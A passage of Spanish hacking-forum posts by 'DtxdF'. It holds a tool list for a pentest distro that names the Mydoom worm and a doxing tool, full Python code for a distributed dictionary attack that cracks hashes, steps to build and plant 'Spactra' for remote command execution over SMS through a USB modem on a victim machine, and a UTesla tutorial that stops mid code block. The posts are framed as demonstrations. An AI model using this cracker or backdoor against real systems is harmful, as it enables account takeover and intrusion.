*- Redes: Aircrack-NG, Wifiphisher, WiFi-Pumpkin
*- Ingeniería social: Beef-XSS, Delorian, Mydoom
*- MITM: Wireshark, mitmproxy
*- Scanners: Nmap, Nessus (si quiere acceder a la versión paga puede hacerlo manualmente)
*- OSINT: Error404-doxing, Maltego
*- Forense: Volafox, Foremost, Binwalk, Autopsy
*- Aplicaciones web: BurpSuite, OWASP
*- Cracking de contraseñas: John The Ripper, Hashcat, Crunch
*- Ingeniería inversa: Apktool, diStorm3

Solo es un ápice de todo lo que ofrece...


Instalación:

Enlace de descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Notas:

ReadOS cuenta con los repositorios oficiales de Arch Linux sumando los de la propia distribución. Por defecto no viene con una herramienta para gestionar los paquetes de AUR, aunque si se desea utilizarlo simplemente instalando 'Yay' solucionaría ese inconveniente.

Para facilitar las cosas y conservar mejor nuestro tiempo podemos usar los siguientes comandos para actualizar, instalar y remover paquetes:

*- ins <Nombre del paquete>: Instalar paquetes
*- rem <Nombre del paquete>: Remover paquetes
*- upgrade: Actualizar todo la distribución, incluyendo los paquetes que residen en AUR

Como ejemplo práctico:


Código: bash
ins yay


El comando anterior instalaría 'Yay' en un par de minutos

Actualización recomendada:

Es recomendable usar el comando 'upgrade' para además de actualizar el sistema, realiza cambios necesarios en la lista de servidores (mirrorlist)

Instalación en una máquina virtual:

Es obligatorio asignarle 2 CPUs o más a la máquina virtual para poder instalar el sistema con éxito, de lo contrario el instalador no se mostraría y a su vez podría acarrear con comportamientos inesperados o de funcionamiento con la distribución.

En el caso de Virtualbox, se recomienda utiizar el controlador VboxSVGA en la configuración 'Display/Pantalla.'

~ DtxdF
#24
Un ataque por diccionario es considerado un tipo de ataque contra una contraseña (o una palabra que cause validez) usando una lista de posibles contraseñas, mayormente dado en un fichero de texto o una base de datos gigante. El ataque por diccionario (muchas veces confundido con fuerza bruta) usa una gran lista de contraseñas que pueden ser generadas por un generador automatizado, preferencias de la víctima, o incluso combinarse con la mismísima fuerza bruta para lograr el cometido.


Para saber más sobre Ultra Tesla pueden leer el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que hace algunos momentos lo he actualizado para que coincida con el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del repositorio. Sin embargo es recomendable que se haga una lectura del repositorio oficial ya que puede haber un cambio reciente que no esté en algún artículo de Internet.

Erica es un script para realizar un ataque por diccionario contra numerosas funciones Hash creado por nuestro compañero @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Para esta ocasión nosotros adaptaremos Erica para usarlo como un simple servicio en UTesla. Si quieres leer un tutorial sobre el script puedes leer un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cabe aclarar que UTesla no está diseñado para soportar grandes cantidades de datos, pese a que se esté trabajando para mejorarlo cada día, uno de los muchos objetivos que se tienen en mente, es realizar de una forma diferente, APIs Webs siguiendo un formato no convencional. Para esta demostración usaremos un diccionario pequeño y unas pequeñas configuraciones para que funcione eficientemente


Esquema de la red:

Para este escenario se usarán tres máquinas, pero para que se tenga más rendimiento el plugin 'Erica' contiene un pequeño algoritmo que disminuye la carga "partiendo" el diccionario en mitades de longitud similar para cada parte (las partes son los servidores), incluso el límite de las líneas es un factor a tener en cuenta. Claro que todo esto estará automatizado por un plugin de UTeslaCLI

Comencemos:

Antes que nada, es importante que tengan actualizado (si es que lo tienen instalado, si no, pueden descargarlo) UTesla porque se han hecho varias actualizaciones arreglando errores y mejorandolo. Por lo que si han usado git, simplemente ejecuten:

Código: bash
git pull origin master
git submodule update --remote


O pueden descargarlo nuevamente, no tendrán que reinstalar las dependencias, así que será menos pesado  ;)

También es importante que usen la versión No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de python, porque el plugin estará usando algunas nuevas sintaxis de ésta.

Si los repositorios de su distribución no tiene incluido la versión 3.8 de python, pueden No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Es muy recomendable configurar las claves 'connect_timeout' y 'request_timeout' en la sección 'Client' del fichero 'config/UTesla.ini' según lo que se puede tardar, lo cual es relativo a la velocidad de conexión, la velocidad de procesamiento, la memoria, las líneas del archivos, entre otros.


Instalación del plugin 'Erica':

Debemos comenzar con un pequeño fichero para empezar a crear la estructura, el cual estará ubicado en 'complements/erica.py' con el siguiente contenido:

complements/erica.py:

Código: python
class Handler:
    pass


Ahora la estructura puede verse como '<Esquema>://<Dirección IP/Host>:<Puerto>/erica'

Por consiguiente necesitamos crear sub-servicios para organizar mejor el esquema, éso se hace creando la siguiente carpeta:


Código: bash
mkdir complements/erica-folder


Ahí podemos crear nuevos servicios que se verán reflejados como lo siguiente '<Esquema>://<Dirección IP/Host>:<Puerto>/erica/<Sub-servicio>'. Por ejemplo:

complements/erica-folder/get_job.py:

Código: python
import os
import tempfile
import secrets

class Handler:
    async def get(self):
        id = secrets.token_hex(16)
        workspace = '%s/erica_%s' % (
            tempfile.gettempdir(), id

        )

        os.makedirs(workspace, exist_ok=True)
       
        await self.write(id)


complements/erica-folder/write.py:
Código: python
import tempfile
import os

class Handler:
    async def post(self):
        wordlist = self.get_argument('wordlist')
        hash = self.get_argument('hash')
        hash_type = self.get_argument('hash_type')
        shake_length = str(self.get_argument('shake_length'))
        id = self.get_query_argument('id')
       
        workspace = '%s/erica_%s' % (
            tempfile.gettempdir(), id
       
        )
        hash_filename = '%s/hash.txt' % (workspace)
        hash_type_filename = '%s/hash_type.txt' % (workspace)
        wordlist_filename = '%s/wordlist.lst' % (workspace)
        shake_length_filename = '%s/shake_length.txt' % (workspace)
       
        response = {
            'error'   : False,
            'message' : None
               
        }

        if (os.path.isdir(workspace)):
            if not (os.path.isfile(hash_filename)):
                with open(hash_filename, 'w') as fd:
                    fd.write(hash)
                    fd.flush()
                    os.fsync(fd)

            if not (os.path.isfile(hash_type)):
                with open(hash_type_filename, 'w') as fd:
                    fd.write(hash_type)
                    fd.flush()
                    os.fsync(fd)

            if not (os.path.isfile(shake_length_filename)):
                with open(shake_length_filename, 'w') as fd:
                    fd.write(shake_length)
                    fd.flush()
                    os.fsync(fd)

            with open(wordlist_filename, 'a', buffering=1) as fd:
                fd.writelines(wordlist)
                os.fsync(fd)

        else:
            response['error'] = True
            response['message'] = 'El identificador de trabajo "%s" no existe' % (id)

        await self.write(response)


complements/erica-folder/crack.py:
Código: python
import tempfile
import os
import hashlib

def set_status(status, workspace):
    with open('%s/status.txt' % (workspace), 'w') as fd:
        fd.write(status)

def crack(hash, hash_type, wordlist, workspace, shake_length):
    result = False

    if not (hash_type in hashlib.algorithms_guaranteed):
        set_status('No se encuentra la función "%s"' % (hash_type), workspace)
        return

    set_status('running', workspace)

    with open(wordlist, 'r') as fd:
        for word in fd:
            word = word.strip()
            hashfunc = getattr(hashlib, hash_type)(word.encode())

            if (hash_type[:5] == 'shake'):
                hash2cmp = hashfunc.hexdigest(shake_length)

            else:
                hash2cmp = hashfunc.hexdigest()

            if (hash == hash2cmp):
                result = True
                break

    if (result):
        set_status('success:%s' % (word), workspace)

    else:
        set_status('fail', workspace)

class Handler:
    async def get(self):
        id = self.get_query_argument('id')
       
        workspace = '%s/erica_%s' % (
            tempfile.gettempdir(), id

        )
        hash_filename = '%s/hash.txt' % (workspace)
        hash_type_filename = '%s/hash_type.txt' % (workspace)
        wordlist_filename = '%s/wordlist.lst' % (workspace)
        shake_length_filename = '%s/shake_length.txt' % (workspace)

        response = {
            'error'   : False,
            'message' : None
               
        }

        if (os.path.isfile(hash_filename) and os.path.isfile(hash_type_filename) and os.path.isfile(wordlist_filename) and os.path.isfile(shake_length_filename)):
            with open(hash_filename, 'r') as fd:
                hash = fd.read().strip()

            with open(hash_type_filename, 'r') as fd:
                hash_type = fd.read().strip()

            with open(shake_length_filename, 'r') as fd:
                shake_length = int(fd.read())

            self.procs.create(crack, args=(hash, hash_type, wordlist_filename, workspace, shake_length))

        else:
            response['error'] = True
            response['message'] = 'Hay una incongruencia con los archivos del espacio de trabajo'

        await self.write(response)


complements/erica-folder/status.py:
Código: python
import os
import tempfile

class Handler:
    async def get(self):
        id = self.get_query_argument('id')

        workspace = '%s/erica_%s' % (
            tempfile.gettempdir(), id
           
        )
        response = {
            'error'   : False,
            'message' : None
               
        }

        status_file = '%s/status.txt' % (workspace)

        if (os.path.isfile(status_file)):
            with open(status_file, 'r') as fd:
                response['message'] = fd.read().strip()

        else:
            response['error'] = True
            response['message'] = 'No se puede leer el estado de la operación'

        await self.write(response)


Todos los servicios anteriormente mostrados irían en cada servidor que se desee usar para realizar el ataque por diccionario, quedando de la siguiente forma:

* - <Esquema>://<Dirección IP/Host>:<Puerto>/erica/get_job
* - <Esquema>://<Dirección IP/Host>:<Puerto>/erica/write
* - <Esquema>://<Dirección IP/Host>:<Puerto>/erica/crack
* - <Esquema>://<Dirección IP/Host>:<Puerto>/erica/status

Si parece tedioso repartir cada servicio para cada servidor, hay distintas modalidades. Se puede usar el comando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para transportar los archivos facilmente, usar un USB al modo tradicional o usar el módulo de python 'http.server' el cual crearía un pequeño servidor web local según donde lo hayamos ejecutado.

Como último archivo que tendría que estar ubicado sólo en nuestra máquina local, sería el cliente para comunicarse con los servicios mostrados anteriormente.

modules/Cmd/erica.py:

Código: python
import os
import sys
import asyncio
import logging
import hashlib
import tempfile
import sqlite3
import multiprocessing

from modules.Infrastructure import client
from utils.General import parse_config
from utils.extra import create_pool

conf = parse_config.parse()
client_conf = conf['Client']
server_conf = conf['Server']
username = server_conf['user_server']
public_key = server_conf['pub_key']
private_key = server_conf['priv_key']
client.config = client_conf
db_name = '%s/erica.db' % (tempfile.gettempdir())
tmp_wordlist = '%s/erica-wordlist.lst' % (tempfile.gettempdir())

information = {
    'description' : 'Realizar un ataque por diccionario',
    'commands'    : [
        {
            'argumentos principales' : [
                {
                    'args'     : ('-o', '--option'),
                    'help'     : 'El comando a ejecutar en el servidor',
                    'choices'  : ('get_job', 'write', 'crack', 'crack_local', 'status', 'reset'),
                    'default'  : 'get_job'

                }


            ]

        },
       
        {
            'argumentos requeridos por el comando \'write\'' : [
                {
                    'args' : ('-w', '--wordlist'),
                    'help' : 'La lista de palabras a usar'

                }

            ]

        },

        {
            'argumentos requeridos por el comando \'write\' y \'crack_local\'' : [
                {
                    'args'     : ('-H', '--hash'),
                    'help'     : 'La suma de verificación a atacar'

                },

                {
                    'args'     : ('-t', '--hash-type'),
                    'help'     : 'La función hash a usar'

                }

            ]

            },

        {
            'optionals'       : [
                {
                    'args'    : ('-l', '--lines'),
                    'help'    : 'Dividir el archivo en N líneas para cada servidor',
                    'default' : 1000000,
                    'type'    : int

                },

                {
                    'args'    : ('-i', '--interval'),
                    'help'    : 'El intervalo en segundos para comprobar si el trabajo a concluido',
                    'type'    : int,
                    'default' : 15

                },

                {
                    'args'    : ('-m', '--max-workers'),
                    'help'    : 'El máximo de procesos trabajando en la operación localmente',
                    'default' : multiprocessing.cpu_count(),
                    'type'    : int

                },

                {
                    'args'    : ('-L', '--shake-length'),
                    'help'    : 'La longitud del resultado en la función shake y derivados',
                    'default' : 32,
                    'type'    : int

                }

            ]

        }

    ],
    'version'     : '1.0.0'

}

def get_lines(filename):
    count = 0

    with open(filename, 'r') as fd:
        while (line := fd.readline()):
            count += 1

    return count

def crack(args):
    (wordlist, hash, hash_type) = args
    func = getattr(hashlib, hash_type)

    with open(wordlist, 'r') as fd:
        for i in fd:
            i = i.strip()
            hash2cmp = func(i.encode()).hexdigest()

            if (hash2cmp == hash):
                logging.info('Operación concluida localmente: %s (%s(%s))',
                             hash, hash_type.upper(), i)
                return True

        logging.warning('No se pudo satisfacer la operación localmente')

        return False

def chunk(fd, lines, parts):
    chunks = []

    index = 0
    count = 0

    for i in range(parts):
        chunks.append([])

    while (line := fd.readline()):
        if not (line.strip()):
            continue

        if (index == parts):
            index = 0

            yield chunks

            for i in range(parts):
                chunks[i] = []

        chunks[index].append(line)
           
        if (count == lines):
            index += 1
            count = 0

            continue
           
        count += 1

    if (chunks != []):
        yield chunks

def execute_sql_command(cmd, args=(), write=False):
    with sqlite3.connect(db_name) as sqlite_db:
        cursor = sqlite_db.cursor()
        cursor.execute('CREATE TABLE IF NOT EXISTS jobs(job VARCHAR(32) NOT NULL, network TEXT NOT NULL)')
        sqlite_db.commit()

        cursor.execute(cmd, args)

        if (write):
            sqlite_db.commit()

        else:
            return cursor.fetchall()

def getJob(net):
    result = execute_sql_command(
        'SELECT job FROM jobs WHERE network = ? LIMIT 1', (net,)

    )

    if (result != []):
        return result[0][0]

def writeControl(net, response):
    error = response['error']
    message = response['message']

    if (error):
        logging.warning('Ocurrió un error interno en el servidor "%s": %s', net, message)

    else:
        logging.info('Se ha escrito una parte del diccionario en el servidor %s', net)

def jobsControl(net, response):
    execute_sql_command('INSERT INTO jobs(job, network) VALUES (?, ?)', (response, net), True)

    logging.info('El trabajo "%s" se creó en el servidor "%s"', response, net)

def crackControl(net, response):
    error = response['error']
    message = response['message']

    if (error):
        logging.warning('Ocurrió un error interno en el servidor "%s": %s', net, message)

    else:
        logging.info('Se ha iniciado el ataque en el servidor "%s" 3:-)', net)

def statusControl(net, response):
    error = response['error']
    message = response['message']

    if (error):
        logging.warning('Ocurrió un error interno en el servidor "%s": %s', net, message)

    else:
        if (message == 'running'):
            logging.warning('La operación todavía se sigue efectuando')

        elif (message[:7] == 'success'):
            logging.info('Operación realizada con éxito, se ha obtenido la palabra correcta en la lista de palabras almacenada en el servidor "%s": %s', net, message[8:])

        elif (message == 'fail'):
            logging.warning('No se pudo obtener la palabra con éxito usando la lista de palabras almacenada en el servidor "%s" :-(', net)

        else:
            logging.warning('Estado desconocido en el servidor "%s": %s', net, message)

async def execute_command(net, cmd, data, callback, *args, method='POST', **kwargs):
    url = '%s/erica/%s' % (net, cmd)
    url_hash = hashlib.sha3_224(net.encode()).hexdigest()
    pub_key_file = '%s/servkeys/%s' % (
        server_conf['init_path'], url_hash
   
    )

    UClient = client.UTeslaClient(username)

    await UClient.set_user_keys(public_key, private_key)
    await UClient.set_server_key(pub_key_file)
   
    try:
        result = await UClient.fetch(
            url, data, method=method

        )

    except Exception as err:
        logging.warning('Ocurrió en la petición hacia el servidor "%s": %s', url, err)

        response = None

    else:
        response = UClient.get_message(result.body)

    if (response):
        return callback(net, response, *args, **kwargs)

    else:
        logging.warning('No se obtuvo ningún dato por parte del servidor %s...', net)

async def MainParser(args):
    hash = args.hash
    hash_type = args.hash_type
    wordlist = args.wordlist
    lines = args.lines
    interval = args.interval
    max_workers = args.max_workers
    option = args.option
    shake_length = args.shake_length

    db = await create_pool.create(server_conf['mysql_db'])
    networks = await db.get_networks(show_all=True)
    jobs = []
   
    if (option == 'get_job') and (os.path.isfile(db_name)):
        logging.warning('No se puede obtener nuevos trabajas hasta que se haga un reinicio para evitar alteraciones. Use el comando \'reset\' para permitir esta operación')
        return

    if (wordlist is None) and (option == 'write'):
        logging.warning('¡No se definió la ruta del diccionario a usar!')
        return

    if (hash is None or hash_type is None) and (option == 'write' or option == 'crack_local'):
        logging.warning('Falta definir el \'hash\' y/o la función a usar')
        return

    if (option == 'get_job' or option == 'status' or option == 'crack'):
        callbacks = {
            'get_job' : jobsControl,
            'crack'   : crackControl,
            'status'  : statusControl

        }

        for _, net, token in networks:
            data = {
                'token' : token

            }

            job = getJob(net)

            params = {
                'crack'   : '?id=%s' % (job),
                'status'  : '?id=%s' % (job)

            }

            jobs.append(
                execute_command(net, option + params.get(option, ''), data, callbacks[option], method='GET')

            )

    elif (option == 'write'):
        local_machine = '<Local Machine>'
        networks = networks + ((None, local_machine, None),)
        parts = len(networks)

        with open(wordlist, 'r') as fd:
            with open(tmp_wordlist, 'w', buffering=1) as tmp_fd:
                for words in chunk(fd, lines, parts):
                    for (_, net, token), chunk_val in zip(networks, words):
                        if (net == local_machine):
                            tmp_fd.writelines(chunk_val)

                        else:
                            data = {
                                'token'     : token,
                                'body'      : {
                                    'wordlist'  : chunk_val,
                                    'hash'      : hash,
                                    'hash_type' : hash_type,
                                    'shake_length'    : shake_length

                                }

                            }

                            cmd = 'write?id=%s' % (
                                getJob(net)

                            )

                            logging.warning('Escribiendo %d líneas en %s...', len(chunk_val)-1, net)
                            await execute_command(net, cmd, data, writeControl)

    elif (option == 'crack_local'):
        processes = multiprocessing.Pool(max_workers)
        processes.map(crack, [(tmp_wordlist, hash, hash_type)])
        processes.close()
        processes.join()

    elif (option == 'reset'):
        files2del = [
            tmp_wordlist,
            db_name

        ]

        for file in files2del:
            if (os.path.isfile(file)):
                os.remove(file)
                logging.warning('¡%s se ha eliminado!', file)

    await asyncio.gather(*jobs)


Preparando el escenario:

Para comenzar, necesitamos registrarnos en los diversos servidores que deseemos usar, pero la peculiaridad de todo esto es que usaremos el nombre de usuario de nuestro servidor local mas las claves de éste. Como se viene viendo en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de UTesla, para generar el par de claves del servidor se usaría el siguiente comando:

Código: bash
./UTesla
# Si se desea usar la versión 3.8 de python explícitamente
# python3.8 ./UTesla



Mi par de claves RSA O:)

Aquí lo importante es la clave pública que tendrá que ser transportada en los múltiples servidores que nos registraremos. En las anteriores secciones se explicó cómo transportar dichos archivos.

Una vez estamos en los otros servidores necesitamos ejecutar el siguiente comando para registrarnos:


Código: bash
./UTeslaCLI add -u utesla -p uteslapasswd123@ -i /tmp/key.pub



Creando el usuario 'utesla' en Debian Buster


Creando el usuario 'utesla' en AntiX

Una vez se ha registrado el usuario correspondiente sin problemas en los distintos servidores de nuestra red, pasaremos a generar el token de acceso para agregar los servidores a posteriori.


Agregando 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' (Debian Buster) a la red


Agregando 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' (AntiX) a la red

Iniciando el ataque:

Una vez agregada las redes empecemos con el ataque, para ello simplemente ejecutemos:

Código: bash
./UTeslaCLI erica
./UTeslaCLI erica -w /tmp/wordlist.lst -t md5 -H 9d2b9e517b4c13d92a91472d1d1d4acb -o write -l 30000



Escribiendo un diccionario de 14MB en los servidores


El resultado de haber obtenido la palabra 'dtxdf' a partir de '9d2b9e517b4c13d92a91472d1d1d4acb'

Como ya hizo saber, el diccionario será dividido según las partes y el número de líneas proporcionado, en este se dividirá en tres partes; dos son de los servidores y la tercera es local, almacenada como '/tmp/erica-wordlist.lst'. Si los servidores no pudieron satisfacer la operación, se puede probar el ataque de manera local:


Intento por realizar el ataque de manera local

Como se puede observar se intentó realizar el ataque de manera local con el diccionario dividido, pero fue un intento fallido, aunque lo bueno es que el primer servidor (Debian Buster) si logró satisfacer la operación.

Notas:

* El contenido está hecho con fines demostrativos, en entornos reales y mejor preparados se usaría un cluster con buena maquinaria (en un futuro quizá haga un tutorial 3:-D)
* Tengo que aclarar nuevamente que UTesla aún no está diseñado para transportar grandes cantidades de datos eficientemente, se realizó un pequeño protocolo entre plugin/servicios para enviar por partes el archivo. Ya se está preparando la mejora para enviar cargas grandes con un buen rendimiento
* Espero hayan disfrutado y aprendido tanto como yo lo hice :D


~ DtxdF
#25
Un administrador de sistema es el responsable de garantizar tanto el tiempo de actividad, rendimiento, uso de recursos, seguridad, monitorizar, configurar, implementar y muchas otras cosas en un sistema informático. El administrador se debería encargar de todo tipo de seguridad, tanto externa como interna, pero, ¿qué pasaría si el olvidadizo administrador no implementa un sistema de control contra dispositivos USB?...

Esquema SMS

Según la querida wikipedia:

El servicio de mensajes cortos o servicio de mensajes simples, más conocido como SMS (por las siglas del inglés Short Message Service), es un servicio disponible en los teléfonos móviles que permite el envío de mensajes cortos (con un límite de caracteres) entre teléfonos móviles. Por lo general las operadoras telefónicas cobran por cada mensaje enviado.

Una vez aclarado qué son los famosos SMS, imaginemos una situación en la que el administrador de sistemas protege con ímpetu cada sistema informático presente en una empresa, desde base de datos, hasta servidores convencionales, desde implementar sistemas de detección de intrusos hasta empezar a crear listas blancas, vigilar la tasa de paquetes y mucho más, pero... ¿qué pasaría si se le olvidara implementar un control contra dispositivos USB?.

Herramientas

Ya se ha aclarado que usaremos SMS para enviar comandos y recibir los resultados, pero ahora necesitamos saber las herramientas:


  • Un modem-USB (en mi caso un Bam Movistar): Será el que deberá estar conectado a la máquina víctima
  • Un sencillo programilla que está hecho para esta prueba de concepto: Será el encargado de enviar y recibir datos por medio del dispositivo

Descarga, configuración y compilación

Código: bash
git clone https://github.com/DtxdF/Spactra.git
cd Spactra
$EDITOR headers/info.h


Una vez descargado y hemos abierto el fichero de configuración, lo primordial sería solo configurar el número de teléfono del atacante (o sea el nuestro 3:D), aunque por los demás datos necesitaríamos hacer una investigación de acuerdo a las limitaciones de nuestro modem:

nvim headers/info.h

Una vez ajustado el número de teléfono del atacante, se debe pasar a la compilación:

Código: bash
gcc -O2 -o spactra spactra.c modem_control.c system_control.c -ggdb -Wall -pipe


Prueba de concepto

Ahora lo que el atacante debería hacer es introducir el modem-USB en la máquina que desea comprometer y ejecutar 'spactra', aunque ahí no acaba la cosa.

El puesto de control del atacante debe ser su propio teléfono y la aplicación, una aplicación típica de Android (por ejemplo) donde pueda recibir y enviar mensajes de texto. Pero qué mejor forma de decirlo que con una ilustración:


sudo ./spactra

Centro de mensajes de texto en Android

Ejecutando el comando 'id' remotamente

Notas


  • El programa está hecho para esta prueba de concepto, por lo que puede contener errores, no está hecho para situaciones reales o no mantiene una estabilidad con las respuestas a los comandos AT
  • Todas las pruebas se realizaron en Arch Linux
  • Espero les haya gustado  ;)

Conclusión

Aunque haya sido un artículo corto, espero les haya gustado y para concluir directamente, es recomendable mantener un control sobre los periféricos de nuestros equipos, implementar un pequeño sistema que informe cuando se inserta uno nuevo e inclusive, permitir a determinados usuarios que pertenezcan a un grupo para restringir el mismo uso.

~ DtxdF
#26
Ultra Tesla es un proyecto de código abierto para crear redes distribuidas de servicios fácil, rápido y seguro, usando el poder de computo de múltiples ordenadores. El proyecto permite unificar los distintos servidores en una única interfaz que es proporcionada para el mismo usuario creando una sensación de transparencia.


Mi primer "Hello World":

Ultra Tesla utiliza servicios, que son básicamente mini-programas que se adhieren a la ejecución del servidor, siguiendo una sintaxis en HTTP como la siguiente: <scheme>://<netloc>/<Service>/<Sub-Service>/<...>

Donde <scheme> es 'http' o 'https' según la configuración del servidor; <netloc> es básicamente la dirección del servidor; <Service> es el nombre del servicio, que para este ejemplo será "hello_world" y los demás que son <Sub-Service> y <...> son básicamente otros mini-programas que se tendrán que usar anteponiendo el nombre del servicio anterior, por ejemplo, <Service>/<Sub-Service>/<Sub-Service 1>/<Sub-Service 2>/<...> y así según lo que el administrador haya propuesto.


Código: python
class Handler:
    async def get(self):
    await self.write('Hello World!')


Un ejemplo real con el servicio nombrado como complements/hello_world.py en una URL se vería como lo siguiente (suponiendo que la dirección del servidor sea localhost): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Contactando al servidor:

Lo siguiente es un script simple para poder contactarse con el servidor y obtener la salida del servicio 'hello_world'

Código: python
import asyncio

from modules.Infrastructure import client

async def main():
    UTeslaClient = client.UTeslaClient('<Nombre de usuario>')
    await UTeslaClient.set_server_key('<Clave pública del servidor>')
    await UTeslaClient.set_user_keys('<Clave pública del usuario>', '<Clave privada del usuario>')

    cmd = {
        'token' : '<Token de acceso>'

    }

    Response = await UTeslaClient.fetch(
        'http://localhost:17000/hello_world',
        cmd,
        method='GET'

    )

    dec_body = UTeslaClient.get_message(Response.body)

    print(dec_body)

if __name__ == '__main__':
    asyncio.run(main())


Deberíamos obtener la siguiente respuesta:

Código: text
Hello World!


Creando un usuario:

El administrador será el encargado de crear los usuarios, aunque perfectamente se podría automatizar como un sistema de registro cualquiera con una interfaz de usuario cualquiera, para este ejemplo se usará el plugin 'add' de UTeslaCLI.

Código: bash
# Para requerir ayuda
./UTeslaCLI add --help
# Creamos el usuario
./UTeslaCLI add -u <Nombre de usuario> -p <Contraseña> -i <Ruta de la clave pública>


Creación del par de claves:

Tanto el servidor como el usuario deben tener sus par de claves para que la comunicación sea satisfactoria. Esto es un proceso inicial que deben hacer antes de hacer cualquier cosa (independientemente de si es un usuario o el administrador del servidor).

En el cliente:

El cliente va a requerir usar el plugin 'generate_keys' para la creación del par de claves

Código: bash
# Para requerir ayuda
./UTeslaCLI generate_keys --help
# Generamos el par de claves
./UTeslaCLI generate_keys -bit_size <Tamaño del par de claves en bits> -out-public-key <Nombre del archivo de la clave pública> -out-private-key <Nombre del archivo de la clave privada>


Si se ejecuta sin parámetros se generará con un tamaño de claves por defecto de 3072 bit's y las claves se mostrarán en la salida. Lo recomendable sería dejar el tamaño de claves pre-determinado y guardar el par de claves en un lugar seguro.

Ahora lo que tendría que hacer el usuario que desea registrarse es enviar la clave pública al administrador del servidor para que éste lo registre satisfactoriamente.


En el servidor:

El proceso para generar el par de claves en el lado del servidor será mucho más simple; se hará automáticamente cuando se ejecute.

Código: bash
./UTesla


El tamaño del par de claves estará definido en UTesla.ini, en la sección 'Crypt Limits' y en la clave 'rsa_key_length'.


Lo recomendable es dejar el tamaño de claves pre-determinado tanto del lado del cliente y del servidor, y se debe tener en cuenta que el tamaño de claves debe ser igual o equivalente en las dos partes.

Creación del token de acceso:

UTesla requiere de un token de acceso para realizar la mayoría de acciones, en este caso el cliente deseoso por obtener su token tiene que usar el plugin 'generate_token'

Código: bash
./UTeslaCLI generate_token <La URL del servidor> -u <El nombre de usuario> -p <La contraseña del usuario> -s <La clave pública del servidor> -i <La clave pública del usuario> -I <La clave privada del usuario>


Una vez hecho lo anterior y la petición haya sido satisfactoria, se mostrará el token de acceso, el cual debe ser almacenado en un lugar seguro para su posterior uso.

Uso de la distribución de servicios:

Supongamos que en el mundo haya dos servidores y los administradores se conozcan, uno de éstos contiene uno o más servicios que otro no tiene, pero un cliente que requiera el uso de ese servicio usando la URL del primer servidor (por ejemplo) no tendría ningún inconveniente, ya que si el servicio deseado no se encuentra en el primer servidor, éste hará una búsqueda en la red y determinará qué servidor es el que contiene ese servicio, posteriormente obtendría una respuesta como si fuera el mismo cliente y luego la redirige hacia el cliente mismo, por lo que todo sería transparente.

Lo anterior es muy útil si se desea separar ciertos servicios entre servidores, por cuestiones económicas, de recursos, una mejoría en la implementación o cualquier cosa que se desee, al fin y al cabo, el usuario es el que lo decide.

Para estos ejemplos el primer servidor será 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' y el segundo 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'. El segundo tiene un servicio llamado 'hello_friend', pero nosotros "los clientes" vamos a creer que el servicio está en el primer servidor, por lo cual lo usaremos para interactuar con éste.


complements/hello_friend.py:
Código: python
class handler:
    async def get(self):
        await self.write('hello friend!')


Por diseño, el administrador del segundo servidor debe crear un usuario como si fuera cualquier otro. Por lo que debe saber cómo crearlo, cosa que ya se hablo en anteriores secciones. En este caso nosotros lo llamaremos 'utesla'.

Además, como ya se aclaró en anteriores secciones, la mayoría de operaciones requieren de un token de acceso, por lo se va a suponer que se tiene hecho este paso para el nuevo usuario utesla.

Una vez aclarado todo lo que se tiene que hacer, vamos un paso más allá y obtengamos los servicios del segundo servidor (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) para el primer servidor (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)


Código: bash
./UTeslaCLI add_network http://localhost:17001 -s <Clave pública del segundo servidor> -p keys/key.pub -P keys/key.priv -u utesla -t <Token de acceso>


Como esto es un ejemplo, se usan las claves que por defecto se almacenan en la carpeta 'keys' del primer servidor; se usa el usuario 'utesla' que ya debe estar creado en el segundo servidor y nos contactamos con el servidor 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' para obtener sus servicios.

Como paso final, el cliente desea obtener el servicio 'hello_friend' y si todo ha salido bien, obtendrá su posterior salida, aunque lo peculiar de todo esto es que el cliente hará una petición al primer servidor en vez de al segundo.

Lo siguiente será muy parecido a lo que se observó en anteriores secciones, pero lo único que cambió es el nombre del servicio:


Código: python
import asyncio

from modules.Infrastructure import client

async def main():
    UTeslaClient = client.UTeslaClient('<Nombre de usuario>')
    await UTeslaClient.set_server_key('<Clave pública del servidor>')
    await UTeslaClient.set_user_keys('<Clave pública del usuario>', '<Clave privada del usuario>')

    cmd = {
        'token' : '<Token de acceso>'

    }

    Response = await UTeslaClient.fetch(
        'http://localhost:17000/hello_friend',
        cmd,
        method='GET'

    )

    dec_body = UTeslaClient.get_message(Response.body)

    print(dec_body)

if __name__ == '__main__':
    asyncio.run(main())


Deberíamos obtener la siguiente respuesta:

Código: text
Hello Friend!


Como se puede apreciar, es un proceso muy sencillo y lo mejor, es transparente para el usuario.

Sub servicios:

Ya se ha explicado anteriormente qué son los sub servicios, pero no se han explicado cómo crearlos. Al igual que la creación de plugins y servicios es muy sencillo.

Lo primero que hay que hacer es crear un servicio, como 'greeting' (complements/greeting.py).


Código: python
class Handler:
    pass


Se pueden colocar los métodos HTTP si se desea, pero para este caso no lo necesitamos

Ahora para la creación de sub servicios simplemente se crea una carpeta en 'complements' con el mismo nombre del servicio mas '-folder'.


Código: bash
mkdir complements/greeting-folder


En esa carpeta se tienen que agregar más archivos que sigan una estructura similar a la del servicio padre, como por ejemplo:

complements/greeting-folder/hello_friend.py:
Código: python
class Handler:
    async def get(self):
        await self.write('Hello Friend!')


Ahora un cliente puede hacer una petición usando una URL parecida a: <Scheme>://<netloc>/greeting/hello_friend y obtendría:

Código: text
Hello Friend!


Adentro de esa carpeta se crean más carpetas (si se desea), pero lo peculiar de todo esto es que no necesitan usar una sintaxis similar a "<Nombre del servicio>-folder", simplemente creando una carpeta e insertando nuevos servicios que sigan una estructura similar a los anteriores es más que suficiente.

Código: bash
mkdir complements/greeting-folder/farewell


complements/greeting-folder/farewell/bye.py:
Código: python
